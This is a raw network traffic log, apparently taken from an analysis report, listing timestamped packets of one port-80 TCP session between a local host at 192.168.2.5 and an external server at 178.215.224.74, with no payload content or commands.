Nov 24, 2024 12:05:10.385003090 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.385056973 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.385823011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.385924101 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.386753082 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.386894941 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.387104034 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.388027906 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.388092041 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.388173103 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.388227940 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.389039993 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.389137030 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.390206099 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.390264988 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.390310049 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.390363932 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.391227961 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.391333103 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.391390085 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.392225981 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.392297029 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.393043995 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.393104076 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.393124104 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.393186092 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.393687963 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.393753052 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.394682884 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.394737959 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.394769907 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.394824028 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.395768881 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.395925999 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.396467924 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.396801949 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.396965981 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.397018909 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.398093939 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.398114920 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.398216963 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.399369001 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.399445057 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.399518013 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.400487900 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.400624990 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.400676012 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.401915073 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.401984930 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.402057886 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.403177023 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.403249979 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.403296947 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.404146910 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.404232025 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.404279947 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.405080080 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.405143976 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.405206919 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.406090021 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.406176090 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.406229973 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.406913042 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.406994104 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.407044888 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.407852888 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.407975912 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.408027887 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.408828020 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.409260035 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.409302950 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.410145044 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.410331011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.410379887 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.411261082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.411320925 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.411379099 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.412256002 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.412389040 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.412440062 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.413707972 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.413794994 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.413842916 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.414520025 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.414592981 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.414640903 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.415359020 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.415397882 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.415472031 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.416202068 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.416320086 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.416369915 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.417074919 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.417160034 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.417212009 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.417838097 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.417989969 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.418037891 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.418982029 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.419095039 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.419146061 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.419863939 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.419910908 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.419964075 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.420602083 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.420684099 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.421319008 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.421375990 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.421550035 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.421600103 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.422400951 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.422506094 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.422602892 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.423466921 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.423552990 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.423604012 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.424408913 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.424525976 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.424571991 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.425472975 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.425591946 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.425637007 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.426501036 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.426605940 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.426664114 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.427551985 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.427656889 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.427702904 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.428689003 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.428832054 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.428875923 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.429927111 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.430016994 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.430063009 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.430883884 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.431019068 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.431068897 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.431849957 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.482449055 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.572729111 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.572848082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.572923899 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.573215008 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.573367119 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.573421001 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.574305058 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.574425936 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.574742079 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.575376034 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.575387955 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.575433016 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.576318026 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.576430082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.576479912 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.577388048 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.577451944 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.577498913 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.578372002 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.578435898 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.578774929 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.579401016 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.579515934 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.580610991 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.580662966 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.580708981 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.580760002 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.581437111 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.581484079 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.582459927 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.582509041 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.582556963 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.582607985 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.583487034 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.583594084 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.583648920 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.584516048 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.584650040 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.585541964 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.585593939 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.585633039 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.585689068 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.586575985 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.586719990 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.586884022 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.587600946 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.587745905 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.588624954 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.588676929 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.588778019 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.588834047 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.589723110 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.589804888 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.590673923 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.590732098 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.590775967 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.591721058 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.591773987 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.591819048 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.591885090 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.592756033 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.592895031 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.593871117 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.593945980 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.593981981 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.594028950 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.594815016 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.594949961 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.595006943 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.595995903 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.596142054 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.596853971 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.596906900 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.596981049 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.597033024 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.598030090 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.598098040 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.598858118 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.598892927 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.598974943 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.599960089 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.600013018 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.600059032 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.600111961 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.600944996 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.601063013 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.602000952 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.602021933 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.602054119 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.602087021 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.603296995 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.603399992 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.603456020 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.604012012 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.604110956 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.605173111 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.605226040 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.605298042 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.605345964 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.606069088 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.606190920 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.606748104 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.607131004 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.607222080 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.608151913 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.608211040 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.608246088 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.608298063 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.609144926 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.609292030 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.610208988 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.610263109 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.610304117 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.610354900 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.611221075 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.611329079 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.611377001 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.612270117 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.612415075 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.613286018 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.613341093 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.613384962 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.613434076 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.614314079 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.614443064 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.614717007 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.615391970 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.615572929 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.616394043 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.616446018 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.616624117 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.616672993 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.617384911 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.617516041 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.618418932 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.618472099 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.618516922 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.618566990 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.619410992 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.619507074 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.619561911 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.620424986 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.620570898 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.621618032 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.621659994 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.621670008 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.621704102 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.622550011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.622674942 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.622890949 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.623534918 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.623661995 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.623725891 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.624543905 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.624599934 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.624737024 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.626207113 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.626629114 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.626696110 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.628120899 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.685458899 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.764954090 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.764966965 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.765036106 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.765196085 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.765347958 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.766228914 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.766290903 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.766350031 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.766402960 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.767266989 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.767344952 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.767466068 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.768269062 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.768394947 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.768445015 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.769294024 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.769424915 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.769474030 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.770296097 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.770450115 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.770498991 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.771332979 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.771471024 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.771522045 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.772428036 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.772469044 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.772576094 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.773386955 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.773488998 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.773540020 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.774544001 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.774648905 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.774701118 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.775464058 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.775532961 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.775578976 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.776449919 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.776570082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:10.776616096 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:10.777606010 CET	80	49829	178.215.224.74	192.168.2.5
